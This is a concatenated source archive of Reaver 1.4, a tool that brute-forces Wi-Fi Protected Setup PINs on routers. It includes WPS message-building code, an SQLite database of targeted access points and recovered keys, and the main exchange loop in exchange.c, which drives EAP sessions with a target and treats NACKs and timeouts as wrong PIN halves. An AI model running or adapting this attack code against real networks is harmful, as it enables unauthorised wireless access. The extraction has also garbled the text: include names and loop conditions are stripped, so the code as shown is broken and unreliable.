WPS_AUTH_TYPES); return 0; } int wps_build_encr_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type Flags"); wpabuf_put_be16(msg, ATTR_ENCR_TYPE_FLAGS); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, WPS_ENCR_TYPES); return 0; } int wps_build_conn_type_flags(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Connection Type Flags"); wpabuf_put_be16(msg, ATTR_CONN_TYPE_FLAGS); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, WPS_CONN_ESS); // wpabuf_put_u8(msg, WPS_CONN_ESS | WPS_CONN_IBSS); return 0; } int wps_build_assoc_state(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * Association State"); wpabuf_put_be16(msg, ATTR_ASSOC_STATE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, WPS_ASSOC_NOT_ASSOC); // wpabuf_put_be16(msg, WPS_ASSOC_CONN_SUCCESS); return 0; } int wps_build_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg) { u8 hash[SHA256_MAC_LEN]; wpa_printf(MSG_DEBUG, "WPS: * Key Wrap Authenticator"); hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, wpabuf_head(msg), wpabuf_len(msg), hash); wpabuf_put_be16(msg, ATTR_KEY_WRAP_AUTH); wpabuf_put_be16(msg, WPS_KWA_LEN); wpabuf_put_data(msg, hash, WPS_KWA_LEN); return 0; } int wps_build_encr_settings(struct wps_data *wps, struct wpabuf *msg, struct wpabuf *plain) { size_t pad_len; const size_t block_size = 16; u8 *iv, *data; wpa_printf(MSG_DEBUG, "WPS: * Encrypted Settings"); /* PKCS#5 v2.0 pad */ pad_len = block_size - wpabuf_len(plain) % block_size; os_memset(wpabuf_put(plain, pad_len), pad_len, pad_len); wpabuf_put_be16(msg, ATTR_ENCR_SETTINGS); wpabuf_put_be16(msg, block_size + wpabuf_len(plain)); iv = wpabuf_put(msg, block_size); if (os_get_random(iv, block_size) < 0) return -1; data = wpabuf_put(msg, 0); wpabuf_put_buf(msg, plain); if (aes_128_cbc_encrypt(wps->keywrapkey, iv, data, wpabuf_len(plain))) return -1; return 0; } #ifdef CONFIG_WPS_OOB int wps_build_oob_dev_password(struct wpabuf *msg, struct wps_context *wps) { size_t hash_len; const u8 *addr[1]; u8 pubkey_hash[WPS_HASH_LEN]; u8 dev_password_bin[WPS_OOB_DEVICE_PASSWORD_LEN]; wpa_printf(MSG_DEBUG, "WPS: * OOB Device Password"); addr[0] = wpabuf_head(wps->dh_pubkey); hash_len = wpabuf_len(wps->dh_pubkey); sha256_vector(1, addr, &hash_len, pubkey_hash); if (os_get_random((u8 *) &wps->oob_dev_pw_id, sizeof(u16)) < 0) { wpa_printf(MSG_ERROR, "WPS: device password id " "generation error"); return -1; } wps->oob_dev_pw_id |= 0x0010; if (os_get_random(dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN) < 0) { wpa_printf(MSG_ERROR, "WPS: OOB device password " "generation error"); return -1; } wpabuf_put_be16(msg, ATTR_OOB_DEVICE_PASSWORD); wpabuf_put_be16(msg, WPS_OOB_DEVICE_PASSWORD_ATTR_LEN); wpabuf_put_data(msg, pubkey_hash, WPS_OOB_PUBKEY_HASH_LEN); wpabuf_put_be16(msg, wps->oob_dev_pw_id); wpabuf_put_data(msg, dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN); wpa_snprintf_hex_uppercase( wpabuf_put(wps->oob_conf.dev_password, wpabuf_size(wps->oob_conf.dev_password)), wpabuf_size(wps->oob_conf.dev_password), dev_password_bin, WPS_OOB_DEVICE_PASSWORD_LEN); return 0; } #endif /* CONFIG_WPS_OOB */ reaver-1.4/src/wps/wps_ufd.c0000755000175000017500000001210211705505257015415 0ustar reaverreaver/* * UFD routines for Wi-Fi Protected Setup * Copyright (c) 2009, Masashi Honma * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include #include #include #include #include #include "wps/wps.h" #include "wps/wps_i.h" #ifdef CONFIG_NATIVE_WINDOWS #define UFD_DIR1 "%s\\SMRTNTKY" #define UFD_DIR2 UFD_DIR1 "\\WFAWSC" #define UFD_FILE UFD_DIR2 "\\%s" #else /* CONFIG_NATIVE_WINDOWS */ #define UFD_DIR1 "%s/SMRTNTKY" #define UFD_DIR2 UFD_DIR1 "/WFAWSC" #define UFD_FILE UFD_DIR2 "/%s" #endif /* CONFIG_NATIVE_WINDOWS */ struct wps_ufd_data { int ufd_fd; }; static int dev_pwd_e_file_filter(const struct dirent *entry) { unsigned int prefix; char ext[5]; if (sscanf(entry->d_name, "%8x.%4s", &prefix, ext) != 2) return 0; if (prefix == 0) return 0; if (os_strcasecmp(ext, "WFA") != 0) return 0; return 1; } static int wps_get_dev_pwd_e_file_name(char *path, char *file_name) { struct dirent **namelist; int i, file_num; file_num = scandir(path, &namelist, &dev_pwd_e_file_filter, alphasort); if (file_num < 0) { wpa_printf(MSG_ERROR, "WPS: OOB file not found: %d (%s)", errno, strerror(errno)); return -1; } if (file_num == 0) { wpa_printf(MSG_ERROR, "WPS: OOB file not found"); os_free(namelist); return -1; } os_strlcpy(file_name, namelist[0]->d_name, 13); for (i = 0; i < file_num; i++) os_free(namelist[i]); os_free(namelist); return 0; } static int get_file_name(struct wps_context *wps, int registrar, const char *path, char *file_name) { switch (wps->oob_conf.oob_method) { case OOB_METHOD_CRED: os_snprintf(file_name, 13, "00000000.WSC"); break; case OOB_METHOD_DEV_PWD_E: if (registrar) { char temp[128]; os_snprintf(temp, sizeof(temp), UFD_DIR2, path); if (wps_get_dev_pwd_e_file_name(temp, file_name) < 0) return -1; } else { u8 *mac_addr = wps->dev.mac_addr; os_snprintf(file_name, 13, "%02X%02X%02X%02X.WFA", mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); } break; case OOB_METHOD_DEV_PWD_R: os_snprintf(file_name, 13, "00000000.WFA"); break; default: wpa_printf(MSG_ERROR, "WPS: Invalid USBA OOB method"); return -1; } return 0; } static int ufd_mkdir(const char *path) { if (mkdir(path, S_IRWXU) < 0 && errno != EEXIST) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to create directory " "'%s': %d (%s)", path, errno, strerror(errno)); return -1; } return 0; } static void * init_ufd(struct wps_context *wps, struct oob_device_data *oob_dev, int registrar) { int write_f; char temp[128]; char *path = oob_dev->device_path; char filename[13]; struct wps_ufd_data *data; int ufd_fd; if (path == NULL) return NULL; write_f = wps->oob_conf.oob_method == OOB_METHOD_DEV_PWD_E ? !registrar : registrar; if (get_file_name(wps, registrar, path, filename) < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to get file name"); return NULL; } if (write_f) { os_snprintf(temp, sizeof(temp), UFD_DIR1, path); if (ufd_mkdir(temp)) return NULL; os_snprintf(temp, sizeof(temp), UFD_DIR2, path); if (ufd_mkdir(temp)) return NULL; } os_snprintf(temp, sizeof(temp), UFD_FILE, path, filename); if (write_f) ufd_fd = open(temp, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); else ufd_fd = open(temp, O_RDONLY); if (ufd_fd < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to open %s: %s", temp, strerror(errno)); return NULL; } data = os_zalloc(sizeof(*data)); if (data == NULL) return NULL; data->ufd_fd = ufd_fd; return data; } static struct wpabuf * read_ufd(void *priv) { struct wps_ufd_data *data = priv; struct wpabuf *buf; struct stat s; size_t file_size; if (fstat(data->ufd_fd, &s) < 0) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to get file size"); return NULL; } file_size = s.st_size; buf = wpabuf_alloc(file_size); if (buf == NULL) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to alloc read " "buffer"); return NULL; } if (read(data->ufd_fd, wpabuf_mhead(buf), file_size) != (int) file_size) { wpabuf_free(buf); wpa_printf(MSG_ERROR, "WPS (UFD): Failed to read"); return NULL; } wpabuf_put(buf, file_size); return buf; } static int write_ufd(void *priv, struct wpabuf *buf) { struct wps_ufd_data *data = priv; if (write(data->ufd_fd, wpabuf_mhead(buf), wpabuf_len(buf)) != (int) wpabuf_len(buf)) { wpa_printf(MSG_ERROR, "WPS (UFD): Failed to write"); return -1; } return 0; } static void deinit_ufd(void *priv) { struct wps_ufd_data *data = priv; close(data->ufd_fd); os_free(data); } struct oob_device_data oob_ufd_device_data = { .device_name = NULL, .device_path = NULL, .init_func = init_ufd, .read_func = read_ufd, .write_func = write_ufd, .deinit_func = deinit_ufd, }; reaver-1.4/src/wps/Makefile0000755000175000017500000000114111705505257015243 0ustar reaverreaverCC=gcc INC=-I../utils -I ../ all: wps_attr_build.o wps_attr_parse.o wps_attr_process.o wps.o wps_common.o wps_dev_attr.o wps_enrollee.o wps_registrar.o wps_ufd.o wps_attr_build.o: $(CC) $(INC) wps_attr_build.c -c wps_attr_parse.o: $(CC) $(INC) wps_attr_parse.c -c wps_attr_process.o: $(CC) $(INC) wps_attr_process.c -c wps.o: $(CC) $(INC) wps.c -c wps_common.o: $(CC) $(INC) wps_common.c -c wps_dev_attr.o: $(CC) $(INC) wps_dev_attr.c -c wps_enrollee.o: $(CC) $(INC) wps_enrollee.c -c wps_registrar.o: $(CC) $(INC) wps_registrar.c -c wps_ufd.o: $(CC) $(INC) wps_ufd.c -c clean: rm -f *.o reaver-1.4/src/wps/wps_dev_attr.h0000755000175000017500000000232011705505257016455 0ustar reaverreaver/* * Wi-Fi Protected Setup - device attributes * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_DEV_ATTR_H #define WPS_DEV_ATTR_H struct wps_parse_attr; int wps_build_device_attrs(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_os_version(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_rf_bands(struct wps_device_data *dev, struct wpabuf *msg); int wps_build_primary_dev_type(struct wps_device_data *dev, struct wpabuf *msg); int wps_process_device_attrs(struct wps_device_data *dev, struct wps_parse_attr *attr); int wps_process_os_version(struct wps_device_data *dev, const u8 *ver); int wps_process_rf_bands(struct wps_device_data *dev, const u8 *bands); void wps_device_data_dup(struct wps_device_data *dst, const struct wps_device_data *src); void wps_device_data_free(struct wps_device_data *dev); #endif /* WPS_DEV_ATTR_H */ reaver-1.4/src/sql.c0000644000175000017500000002456711705505257013753 0ustar reaverreaver/* * Reaver - SQLite wrapper functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "sql.h" sqlite3 *db = NULL; int sql_init(void) { int retval = 0; if(!db) { if(sqlite3_open(REAVER_DATABASE, &db) == 0) { retval = 1; } } return retval; } int create_ap_table(void) { int err_code = 0; char *drop_table = sqlite3_mprintf(DROP_TABLE, AP_TABLE); char *create_table = sqlite3_mprintf(CREATE_TABLE, AP_TABLE); if(db && drop_table && create_table) { sql_exec(drop_table); err_code = sql_exec(create_table); sqlite3_free(drop_table); sqlite3_free(create_table); } return err_code; } int should_probe(char *bssid) { int n = 0, yn = 0, size = 0, err = 0, max = get_max_num_probes(); char *ns = NULL; char *q = sqlite3_mprintf("SELECT probes FROM %s WHERE bssid = %Q AND complete = 0", AP_TABLE, bssid); if(q) { ns = get(q, &size, &err); if(err == SQLITE_OK && ns && size > 0) { n = atoi(ns); } if(max == 0 || n < max) { yn = 1; } sqlite3_free(q); } if(ns) free(ns); return yn; } int is_done(char *bssid) { int size = 0, err = 0, rv = 0; char *s = NULL, *q = sqlite3_mprintf("SELECT complete FROM %s WHERE bssid = %Q", AP_TABLE, bssid); if(q) { s = get(q, &size, &err); if(err == SQLITE_OK && size > 0 && s != NULL) { rv = atoi(s); free(s); } sqlite3_free(q); } return rv; } int mark_ap_complete(char *bssid) { int rv = 0; char *q = sqlite3_mprintf("UPDATE %s SET probes = '%d', complete = '1' WHERE bssid = %Q", AP_TABLE, get_max_num_probes(), bssid); if(q) { if(sql_exec(q) == SQLITE_OK) { rv = 1; } sqlite3_free(q); } return rv; } int update_probe_count(char *bssid) { int rv = 0; char *q = sqlite3_mprintf("UPDATE %s SET probes = probes+1 WHERE bssid = %Q", AP_TABLE, bssid); if(q) { if(sql_exec(q) == SQLITE_OK) { rv = 1; } sqlite3_free(q); } return rv; } int update_ap_power(char *bssid, int8_t ssi) { int rv = 0; char *q = sqlite3_mprintf("UPDATE %s SET rssi = '%d' WHERE bssid = %Q", AP_TABLE, ssi, bssid); if(q) { if(sql_exec(q) == SQLITE_OK) { rv = 1; } sqlite3_free(q); } return rv; } int update_history(char *bssid, char *essid, int attempts, char *key) { int result = 0; char *q = sqlite3_mprintf("INSERT OR REPLACE INTO %s (bssid, essid, attempts, key) VALUES (%Q, %Q, '%d', %Q)", HISTORY_TABLE, bssid, essid, attempts, key); if(q) { if(sql_exec(q) == SQLITE_OK) { result = 1; } sqlite3_free(q); } return result; } int insert(char *bssid, char *essid, struct libwps_data *wps, int encryption, int rssi) { int result = 0; char *q = sqlite3_mprintf("INSERT INTO %s (bssid, essid, manufacturer, model_name, model_number, device_name, version, state, locked, encryption, probes, rssi, rowid) VALUES (%Q, %Q, %Q, %Q, %Q, %Q, '%d', '%d', '%d', '%d', '0', '%d', '%d')", AP_TABLE, bssid, essid, wps->manufacturer, wps->model_name, wps->model_number, wps->device_name, wps->version, wps->state, wps->locked, encryption, rssi, sqlite3_last_insert_rowid(db)); if(q) { if(sql_exec(q) == SQLITE_OK) { result = 1; } sqlite3_free(q); } return result; } int update(char *bssid, char *essid, struct libwps_data *wps, int encryption) { int result = 0; char *q = NULL; if(wps) { q = sqlite3_mprintf("UPDATE %s SET essid = %Q, manufacturer = %Q, model_name = %Q, model_number = %Q, device_name = %Q, version ='%d', state = '%d', locked = '%d', encryption = '%d' WHERE bssid = %Q AND complete <> '1'", AP_TABLE, essid, wps->manufacturer, wps->model_name, wps->model_number, wps->device_name, wps->version, wps->state, wps->locked, encryption, bssid); if(q) { if(sql_exec(q) == SQLITE_OK) { result = 1; } sqlite3_free(q); } } return result; } int sql_exec(char *query) { int result = SQLITE_ERROR; if(query) { do { result = sqlite3_exec(db, query, NULL, NULL, NULL); usleep(BUSY_WAIT_PERIOD); } while(result == SQLITE_BUSY); } return result; } char *get_db_ssid(char *bssid) { char *ssid = NULL; int size = 0, err = 0; char *q = sqlite3_mprintf("SELECT essid FROM %s WHERE bssid = %Q LIMIT 1", AP_TABLE, bssid); if(q) { ssid = (char *) get(q, &size, &err); if(err != SQLITE_OK || size < 0) { if(ssid) free(ssid); ssid = NULL; } sqlite3_free(q); } return ssid; } char **auto_detect_settings(char *bssid, int *argc) { int size = 0, err = 0, i = 0; char *args = NULL, *token = NULL; char **argv = NULL, **tmp = NULL; char *q1 = sqlite3_mprintf("SELECT args FROM %s WHERE model_name = (SELECT model_name FROM %s WHERE bssid = %Q LIMIT 1) AND model_number = (SELECT model_number FROM %s WHERE bssid = %Q LIMIT 1) AND device_name = (SELECT device_name FROM %s WHERE bssid = %Q LIMIT 1) LIMIT 1", SETTINGS_TABLE, AP_TABLE, bssid, AP_TABLE, bssid, AP_TABLE, bssid); char *q2 = sqlite3_mprintf("SELECT args FROM %s WHERE manufacturer LIKE (SELECT manufacturer FROM %s WHERE bssid = %Q LIMIT 1) LIMIT 1", SETTINGS_TABLE, AP_TABLE, bssid); if(q1 && q2) { args = (char *) get(q1, &size, &err); if(err != SQLITE_OK || size <= 0 || args == NULL) { args = (char *) get(q2, &size, &err); } if(err == SQLITE_OK && size > 0 && args != NULL) { token = strtok(args, " "); if(token) { argv = malloc(sizeof(char *)); argv[i] = strdup("reaver"); i++; do { tmp = argv; argv = realloc(argv, ((i + 1) * sizeof(char *))); if(!argv) { free(tmp); i = 0; break; } else if(argv != tmp) { free(tmp); } argv[i] = strdup(token); i++; } while((token = strtok(NULL, " ")) != NULL); } free(args); } sqlite3_free(q1); sqlite3_free(q2); } *argc = i; return argv; } /* Execute given SQL query. Will only return the FIRST row of the FIRST column of data. Caller must free the returned pointer. */ void *get(char *query, int *result_size, int *err_code) { sqlite3_stmt *stmt = NULL; int rc = 0, col_type = 0; void *result = NULL, *tmp_result = NULL; *result_size = 0; if(!query){ return NULL; } /* Prepare the SQL query */ rc = sqlite3_prepare_v2(db,query,strlen(query),&stmt,NULL); if(rc != SQLITE_OK){ *err_code = sqlite3_errcode(db); return NULL; } /* Loop until the query has finished */ while(((rc = sqlite3_step(stmt)) != SQLITE_DONE) && (result == NULL)){ switch(rc){ case SQLITE_ERROR: *err_code = sqlite3_errcode(db); sqlite3_finalize(stmt); return NULL; break; case SQLITE_BUSY: /* If the table is locked, wait then try again */ usleep(BUSY_WAIT_PERIOD); break; case SQLITE_ROW: { col_type = sqlite3_column_type(stmt,0); switch(col_type) { case SQLITE_TEXT: case SQLITE_INTEGER: tmp_result = (void *) sqlite3_column_text(stmt,0); break; case SQLITE_BLOB: tmp_result = (void *) sqlite3_column_blob(stmt,0); break; default: continue; } /* Get the size of the data we just received from the database */ *result_size = sqlite3_column_bytes(stmt,0); /* Create a copy of tmp_result to pass back to the caller */ if((tmp_result != NULL) && (*result_size > 0)){ if((result = malloc(*result_size+1)) == NULL){ perror("Malloc failure"); return NULL; } memset(result,0,*result_size+1); memcpy(result,tmp_result,*result_size); } break; } } } sqlite3_finalize(stmt); *err_code = sqlite3_errcode(db); return result; } char *sql_error_string(void) { return (char *) sqlite3_errmsg(db); } void sql_cleanup(void) { sqlite3_close(db); db = NULL; } reaver-1.4/src/exchange.c0000644000175000017500000003504411705505257014726 0ustar reaverreaver/* * Reaver - WPS exchange functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "exchange.h" /* Main loop to listen for packets on a wireless card in monitor mode. */ enum wps_result do_wps_exchange() { struct pcap_pkthdr header; const u_char *packet = NULL; enum wps_type packet_type = UNKNOWN, last_msg = UNKNOWN; enum wps_result ret_val = KEY_ACCEPTED; int premature_timeout = 0, terminated = 0, got_nack = 0; int id_response_sent = 0, tx_type = 0; int m2_sent = 0, m4_sent = 0, m6_sent = 0; /* Initialize settings for this WPS exchange */ set_last_wps_state(0); set_eap_id(0); /* Initiate an EAP session */ send_eapol_start(); /* * Loop until: * * o The pin has been cracked * o An EAP_FAIL packet is received * o We receive a NACK message * o We hit an unrecoverable receive timeout */ while((get_key_status() != KEY_DONE) && !terminated && !got_nack && !premature_timeout) { tx_type = 0; if(packet_type > last_msg) { last_msg = packet_type; } packet = next_packet(&header); if(packet == NULL) { break; } packet_type = process_packet(packet, &header); memset((void *) packet, 0, header.len); switch(packet_type) { case IDENTITY_REQUEST: cprintf(VERBOSE, "[+] Received identity request\n"); tx_type = IDENTITY_RESPONSE; id_response_sent = 1; break; case M1: cprintf(VERBOSE, "[+] Received M1 message\n"); if(id_response_sent && !m2_sent) { tx_type = SEND_M2; m2_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M3: cprintf(VERBOSE, "[+] Received M3 message\n"); if(m2_sent && !m4_sent) { tx_type = SEND_M4; m4_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M5: cprintf(VERBOSE, "[+] Received M5 message\n"); if(get_key_status() == KEY1_WIP) { set_key_status(KEY2_WIP); } if(m4_sent && !m6_sent) { tx_type = SEND_M6; m6_sent = 1; } else if(get_oo_send_nack()) { tx_type = SEND_WSC_NACK; terminated = 1; } break; case M7: cprintf(VERBOSE, "[+] Received M7 message\n"); /* Fall through */ case DONE: if(get_key_status() == KEY2_WIP) { set_key_status(KEY_DONE); } tx_type = SEND_WSC_NACK; break; case NACK: cprintf(VERBOSE, "[+] Received WSC NACK\n"); got_nack = 1; break; case TERMINATE: terminated = 1; break; default: if(packet_type != 0) { cprintf(VERBOSE, "[!] WARNING: Unexpected packet received (0x%.02X), terminating transaction\n", packet_type); terminated = 1; } break; } if(tx_type == IDENTITY_RESPONSE) { send_identity_response(); } else if(tx_type) { send_msg(tx_type); } /* * If get_oo_send_nack is 0, then when out of order packets come, we don't * NACK them. However, this also means that we wait infinitely for the expected * packet, since the timer is started by send_msg. Manually start the timer to * prevent infinite loops. */ else if(packet_type != 0) { start_timer(); } /* Check to see if our receive timeout has expired */ if(get_out_of_time()) { /* If we have not sent an identity response, try to initiate an EAP session again */ if(!id_response_sent) { /* Notify the user after EAPOL_START_MAX_TRIES eap start failures */ if(get_eapol_start_count() == EAPOL_START_MAX_TRIES) { cprintf(WARNING, "[!] WARNING: %d successive start failures\n", EAPOL_START_MAX_TRIES); set_eapol_start_count(0); premature_timeout = 1; } send_eapol_start(); } else { /* Treat all other time outs as unexpected errors */ premature_timeout = 1; } } } /* * There are four states that can signify a pin failure: * * o Got NACK instead of an M5 message (first half of pin wrong) * o Got NACK instead of an M7 message (second half of pin wrong) * o Got receive timeout while waiting for an M5 message (first half of pin wrong) * o Got receive timeout while waiting for an M7 message (second half of pin wrong) */ if(got_nack) { /* * If a NACK message was received, then the current wps->state value will be * SEND_WSC_NACK, indicating that we need to reply with a NACK. So check the * previous state to see what state we were in when the NACK was received. */ if(last_msg == M3 || last_msg == M5) { /* The AP is properly sending WSC_NACKs, so don't treat future timeouts as pin failures. */ set_timeout_is_nack(0); ret_val = KEY_REJECTED; } else { ret_val = UNKNOWN_ERROR; } } else if(premature_timeout) { /* * Some WPS implementations simply drop the connection on the floor instead of sending a NACK. * We need to be able to handle this, but at the same time using a timeout on the M5/M7 messages * can result in false negatives. Thus, treating M5/M7 receive timeouts as NACKs can be disabled. * Only treat the timeout as a NACK if this feature is enabled. */ if(get_timeout_is_nack() && (last_msg == M3 || last_msg == M5)) { ret_val = KEY_REJECTED; } else { /* If we timed out at any other point in the session, then we need to try the pin again */ ret_val = RX_TIMEOUT; } } /* * If we got an EAP FAIL message without a preceeding NACK, then something went wrong. * This should be treated the same as a RX_TIMEOUT by the caller: try the pin again. */ else if(terminated) { ret_val = EAP_FAIL; } else if(get_key_status() != KEY_DONE) { ret_val = UNKNOWN_ERROR; } /* * Always completely terminate the WPS session, else some WPS state machines may * get stuck in their current state and won't accept new WPS registrar requests * until rebooted. * * Stop the receive timer that is started by the termination transmission. */ send_wsc_nack(); stop_timer(); if(get_eap_terminate() || ret_val == EAP_FAIL) { send_termination(); stop_timer(); } return ret_val; } /* * Processes incoming packets looking for EAP and WPS messages. * Responsible for stopping the timer when a valid EAP packet is received. * Returns the type of WPS message received, if any. */ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct llc_header *llc = NULL; struct dot1X_header *dot1x = NULL; struct eap_header *eap = NULL; struct wfa_expanded_header *wfa = NULL; const void *wps_msg = NULL; size_t wps_msg_len = 0; enum wps_type type = UNKNOWN; struct wps_data *wps = NULL; if(packet == NULL || header == NULL) { return UNKNOWN; } else if(header->len < MIN_PACKET_SIZE) { return UNKNOWN; } /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */ rt_header = (struct radio_tap_header *) packet; frame_header = (struct dot11_frame_header *) (packet+rt_header->len); /* Does the BSSID/source address match our target BSSID? */ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) { /* Is this a data packet sent to our MAC address? */ if(frame_header->fc.type == DATA_FRAME && frame_header->fc.sub_type == SUBTYPE_DATA && (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) { llc = (struct llc_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) ); /* All packets in our exchanges will be 802.1x */ if(llc->type == DOT1X_AUTHENTICATION) { dot1x = (struct dot1X_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) ); /* All packets in our exchanges will be EAP packets */ if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE)) { eap = (struct eap_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) ); /* EAP session termination. Break and move on. */ if(eap->code == EAP_FAILURE) { type = TERMINATE; } /* If we've received an EAP request and then this should be a WPS message */ else if(eap->code == EAP_REQUEST) { /* The EAP header builder needs this ID value */ set_eap_id(eap->id); /* Stop the receive timer that was started by the last send_packet() */ stop_timer(); /* Check to see if we received an EAP identity request */ if(eap->type == EAP_IDENTITY) { /* We've initiated an EAP session, so reset the counter */ set_eapol_start_count(0); type = IDENTITY_REQUEST; } /* An expanded EAP type indicates a probable WPS message */ else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE)) { wfa = (struct wfa_expanded_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) + sizeof(struct eap_header) ); /* Verify that this is a WPS message */ if(wfa->type == SIMPLE_CONFIG) { wps_msg_len = (size_t) ntohs(eap->len) - sizeof(struct eap_header) - sizeof(struct wfa_expanded_header); wps_msg = (const void *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) + sizeof(struct eap_header) + sizeof(struct wfa_expanded_header) ); /* Save the current WPS state. This way if we get a NACK message, we can * determine what state we were in when the NACK arrived. */ wps = get_wps(); set_last_wps_state(wps->state); set_opcode(wfa->opcode); /* Process the WPS message and send a response */ type = process_wps_message(wps_msg, wps_msg_len); } } } } } } } return type; } /* Processes a received WPS message and returns the message type */ enum wps_type process_wps_message(const void *data, size_t data_size) { const struct wpabuf *msg = NULL; enum wps_type type = UNKNOWN; struct wps_data *wps = get_wps(); unsigned char *element_data = NULL; struct wfa_element_header element = { 0 }; int i = 0, header_size = sizeof(struct wfa_element_header); /* Shove data into a wpabuf structure for processing */ msg = wpabuf_alloc_copy(data, data_size); if(msg) { /* Process the incoming message */ wps_registrar_process_msg(wps, get_opcode(), msg); wpabuf_free((struct wpabuf *) msg); /* Loop through until we hit the end of the data buffer */ for(i=0; i= 0) { if(attr.config_error) { ret_val = WPA_GET_BE16(attr.config_error); } } wpabuf_free((struct wpabuf *) msg); } return ret_val; } reaver-1.4/src/globule.c0000644000175000017500000002311111705505257014565 0ustar reaverreaver/* * Reaver - Global variable access functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "globule.h" int globule_init() { int ret = 0; globule = malloc(sizeof(struct globals)); if(globule) { memset(globule, 0, sizeof(struct globals)); ret = 1; } return ret; } void globule_deinit() { int i = 0; if(globule) { for(i=0; ip1[i]) free(globule->p1[i]); } for(i=0; ip2[i]) free(globule->p2[i]); } if(globule->wps) wps_deinit(globule->wps); if(globule->handle) pcap_close(globule->handle); if(globule->pin) free(globule->pin); if(globule->iface) free(globule->iface); if(globule->ssid) free(globule->ssid); if(globule->session) free(globule->session); if(globule->static_p1) 